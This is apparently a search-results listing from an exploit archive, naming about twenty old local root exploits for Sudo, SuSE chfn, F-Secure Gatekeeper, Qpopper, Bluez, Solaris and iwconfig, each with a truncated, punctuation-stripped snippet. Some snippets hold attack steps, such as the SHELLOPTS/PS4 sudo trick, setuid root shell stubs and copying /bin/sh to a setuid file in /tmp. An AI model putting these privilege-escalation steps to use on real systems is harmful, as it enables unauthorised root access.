1414 matches found
Sudo 1.6.x - Environment Variable Handling Security Bypass (2)
Sudo 1.6.x - Environment Variable Handling Security Bypass 2 source: https://www.securityfocus.com/bid/16184/info Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables. A...
SCO OpenServer 5.0.7 - termsh Local Privilege Escalation
SCO OpenServer 5.0.7 - termsh Local Privilege Escalation / SCO Openserver 5.0.7 termsh exploit =================================== 'termsh' is a program to view or modify an existing terminal entry on SCO Openserver. A stack based overflow exists in the handling of command line arguements, namely...
susechfn.sh.txt
!/bin/sh Exploit for SuSE Linux 9.1,2,3/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server 8,9 'chfn' local root bug. by Hunger Advistory: http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html hunger@suse: id uid=1000hunger gid=1000hunger groups=1000hunger...
fsigk_exp.py.txt
!/usr/bin/env python fsigkexp.py: F-Secure Internet Gatekeeper for Linux local root exploit acknowledgements: everyone in pure-elite and uDc. coded by: [email protected] http://xavsec.blogspot.com Make proper checks and import nessesary calls from modules. try: from sys import argv except...
Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit
No description provided by source. Sudo local root escalation privilege vuln versions : sudo 1.6.8p10 by breno You need sudo access execution for some bash script Use csh shell to change SHELLOPTS env ie: %cat x.sh !/bin/bash -x echo "Getting root!!" % cat /etc/sudoers ... breno ALL=ALL...
Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit
Exploit for linux platform in category local exploits ================================================================ Sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls...
Operator Shell (osh) 1.7-14 Local Root Exploit
No description provided by source. !/bin/sh OSH 1.7-14 Exploit EDUCATIONAL purposes only.... :- by Charles Stevenson core [email protected] Description: The Operator Shell Osh is a setuid root, security enhanced, restricted shell. It allows the administrator to carefully limit the access of special...
Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation
Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls -lisa egg 1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 eg...
[EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit
Exploit for linux platform in category local exploits ==================================================================== SuSE Linux Advistory: http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html email protected: id uid=1000hunger gid=1000hunger groups=1000hunger...
F-Secure Internet Gatekeeper for linux < 2.15.484 Local Root Exploit
Exploit for linux platform in category local exploits ==================================================================== F-Secure Internet Gatekeeper for linux 2.15.484 Local Root Exploit ==================================================================== !/usr/bin/env python F-Secure Anti-Vir...
F-Secure Internet Gatekeeper for linux < 2.15.484 Local Root Exploit
No description provided by source. !/usr/bin/env python F-Secure Anti-Virus Internet Gatekeeper for Linux 2.15.484 F-Secure Anti-Virus Linux Gateway 2.16 added line 3-4 for references /str0ke fsigkexp.py: F-Secure Internet Gatekeeper for Linux local root exploit acknowledgements: everyone in...
Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)
Exploit for linux platform in category local exploits =========================================================================== Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit update =========================================================================== / Due to many...
Linux Kernel 2.4.x2.6.x - Bluez BlueTooth Signed Buffer Index Privilege Escalation (2)
Linux Kernel 2.4.x2.6.x - Bluez BlueTooth Signed Buffer Index Privilege Escalation 2 / Due to many responses i've improved the exploit to cover more systems! ONGBAK v0.9 october 24th 05 """""""""""""""""""""""""""""""""""" o universal "shellcode" added o try to use all possible memory regions o...
Solaris 10 DtPrintinfo/Session Local Root Exploit (x86)
Exploit for solaris platform in category local exploits ======================================================= Solaris 10 DtPrintinfo/Session Local Root Exploit x86 ======================================================= !/usr/bin/perl Solaris 10 DtPrintinfo/Session Exploit x86 EDUCATIONAL...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
No description provided by source. !/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
No description provided by source. !/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep ...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
Exploit for bsd platform in category local exploits ======================================================== Qpopper program.c include include include void init if !geteuid remove"/etc/libmap.conf"; execl"/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL; EOF gcc -o...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
Exploit for linux platform in category local exploits ====================================================== Qpopper program.c include include include void init if !geteuid setgid0; setuid0; remove"/etc/ld.so.preload"; execl"/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL;...
Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)
Exploit for linux platform in category local exploits ============================================================= Wireless Tools 26 iwconfig Local Root Exploit some setuid ============================================================= // if the iwconfig executable is setuid /str0ke include inclu...